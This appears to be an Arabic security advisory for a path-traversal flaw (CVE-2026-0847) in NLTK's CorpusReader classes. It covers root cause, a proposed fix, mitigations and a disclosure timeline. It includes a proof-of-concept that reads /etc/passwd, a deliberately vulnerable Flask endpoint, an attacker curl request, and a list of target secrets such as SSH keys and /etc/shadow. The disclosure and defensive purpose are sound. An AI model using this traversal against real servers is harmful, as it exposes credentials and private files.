
تسمح ثغرة أمنية في إصدارات NLTK حتى الإصدار 3.9.2 وما يشمله بقراءة ملفات عشوائية عبر اجتياز المسار (path traversal) في عدة فئات CorpusReader، بما في ذلك WordListCorpusReader وTaggedCorpusReader وBracketParseCorpusReader.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-0847 |
| الحزمة | nltk (مجموعة أدوات معالجة اللغة الطبيعية) |
| السجل | PyPI |
| الإصدارات المتأثرة | <= 3.9.2 |
| نوع الثغرة | CWE-22: اجتياز المسار (Path Traversal) |
| درجة CVSS | 8.6 (عالية) |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| تأثير السرية | عالي |
| تأثير النزاهة | منخفض |
| تأثير التوفر | منخفض |
| تاريخ الإبلاغ | 4 ديسمبر 2025 |
| نشر CVE | 4 مارس 2026 |
| بدعم من | Palo Alto Networks / Prisma AIRS |
| الحالة | تم الإصلاح |
تقبل فئات CorpusReader المتعددة في مكتبة NLTK وسائط مسارات الملفات دون تطبيق أي توحيد للمسار، أو تحقق من القائمة المسموحة، أو قيود عزل (sandbox). عندما يتحكم المهاجم في اسم ملف المجموعة النصية أو إدخال الملف — وهو سيناريو شائع في واجهات برمجة تطبيقات التعلم الآلي، وخطوط معالجة اللغات الطبيعية (NLP) القائمة على الرفع، وخدمات الدردشة الآلية — يمكنه توفير مسار مصمم بعناية لاجتياز التسلسل الهرمي للدلائل وقراءة ملفات عشوائية على الخادم.
تكتسب هذه الثغرة أهمية بالغة في النشرات الشبكية حيث تعالج NLTK مسارات ملفات يتحكم فيها المستخدم، إذ لا يلزم أي مصادقة أو صلاحيات لاستغلالها.
ترث الفئات الثلاث جميعها نفس طريقة CorpusReader.open() غير الآمنة، التي لا تجري أي تقييد للمسار قبل حلّ وقراءة معرّف الملف المقدَّم.
يمكن أن يؤدي الاستغلال الناجح لهذه الثغرة إلى:
/etc/passwd و /etc/shadow و /var/log/auth.log~/.ssh/id_rsa) وملفات .env ورموز API وملفات بيانات اعتماد السحابةتُقدَّم هذه المعلومات لأغراض تعليمية ودفاعية فقط. لا تختبر أي أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
المخرجات (مختصرة):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
سيناريو واقعي حيث تُعرَّض NLTK عبر واجهة برمجة تطبيقات HTTP:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
طلب المهاجم:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
النتيجة: تُعاد محتويات /etc/passwd الكاملة إلى المهاجم دون الحاجة إلى أي مصادقة.
ينشأ موطن الخلل في CorpusReader.open(). تحلّ هذه الطريقة fileid المقدَّم مباشرةً مقابل مسار الجذر المكوَّن باستخدام FileSystemPathPointer.join() دون إجراء أي من الفحوصات التالية:
..)ونظرًا لأن FileSystemPathPointer يمكن تهيئته باستخدام /، فإن المهاجم الذي يتحكم في وسيط اسم الملف يتمتع بوصول قراءة غير مقيد إلى نظام الملفات بأكمله.
إصلاح أدنى اقترحه الباحث، يُطبَّق داخل CorpusReader.open():
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
طلب السحب (PR) للإصلاح في المستودع الرسمي متاح على: https://github.com/nltk/nltk/pull/3479
الترقية عبر pip:
pip install --upgrade nltk
التحقق من الإصدار المثبت:
python -c "import nltk; print(nltk.__version__)"
يوثّق هذا المستودع CVE-2026-0847 حصريًا لأغراض تعليمية وبحثية وأمنية دفاعية. يُقدَّم كود إثبات المفهوم والتفاصيل التقنية لمساعدة المطورين ومهندسي الأمن ومسؤولي الأنظمة على فهم هذه الثغرة وتقييمها ومعالجتها.
أي استخدام لهذه المعلومات للوصول إلى أنظمة دون إذن صريح يعد غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام المعلومات الواردة فيه.
المساهمون @mohitf070304
| الفئة | الملف | الحالة |
|---|
WordListCorpusReader | wordlist.py L1–L120 | قابلة للاستغلال |
TaggedCorpusReader | tagged.py L1–L140 | قابلة للاستغلال |
BracketParseCorpusReader | bracket_parse.py L1–L150 | قابلة للاستغلال |
| فئات أخرى تستخدم نفس النمط الأساسي | — | بانتظار تدقيق أوسع |
| الإجراء | التفاصيل |
|---|
| ترقية NLTK | التحديث إلى إصدار أحدث من 3.9.2 فور صدور التصحيح الرسمي |
| التحقق من المدخلات | تعقيم والتحقق من جميع قيم مسارات الملفات المقدمة من المستخدم قبل تمريرها إلى أي فئة CorpusReader في NLTK |
| تجنب المسارات التي يتحكم بها المستخدم | لا تسمح لمدخلات المستخدم بالتحكم المباشر أو غير المباشر في وسيط fileids لأي CorpusReader |
| الصلاحيات الأقل | شغّل الخدمات المبنية على NLTK تحت حساب مستخدم نظام مقيد بوصول قراءة يقتصر على دليل المجموعة النصية فقط |
| الحاويات | اعزل الخدمة في حاوية Docker أو سجن chroot للحد من نطاق الانفجار في حال نجاح الاجتياز |
| تصحيح Ubuntu | تابع نشرة أمان Ubuntu للحصول على تحديثات الحزم على مستوى التوزيعة |
| التاريخ | الحدث |
|---|
| 4 ديسمبر 2025 | الإبلاغ عن الثغرة إلى huntr.dev من قِبل الباحث hyperps1 |
| ديسمبر 2025 | إخطار فريق صيانة NLTK عبر huntr.dev |
| يناير 2026 | تحقق فريق صيانة NLTK من الثغرة؛ ومنح مكافأة الإفصاح للباحث |
| يناير 2026 | تعيين CVE-2026-0847 |
| فبراير 2026 | إرسال تحذير قبل النشر بـ 48 ساعة إلى فريق صيانة NLTK |
| 4 مارس 2026 | نشر CVE على NVD وhuntr.dev |
| 5 مارس 2026 | آخر تعديل لسجل NVD |
| المورد | الرابط |
|---|
| إدخال NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| نشرة أمان Ubuntu | https://ubuntu.com/security/CVE-2026-0847 |
| سجل CVE الرسمي | https://cve.org/CVERecord?id=CVE-2026-0847 |
| تقرير huntr.dev | https://huntr.dev |
| طلب سحب الإصلاح | https://github.com/nltk/nltk/pull/3479 |
| NLTK على PyPI | https://pypi.org/project/nltk/ |
| OWASP: اجتياز المسار | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |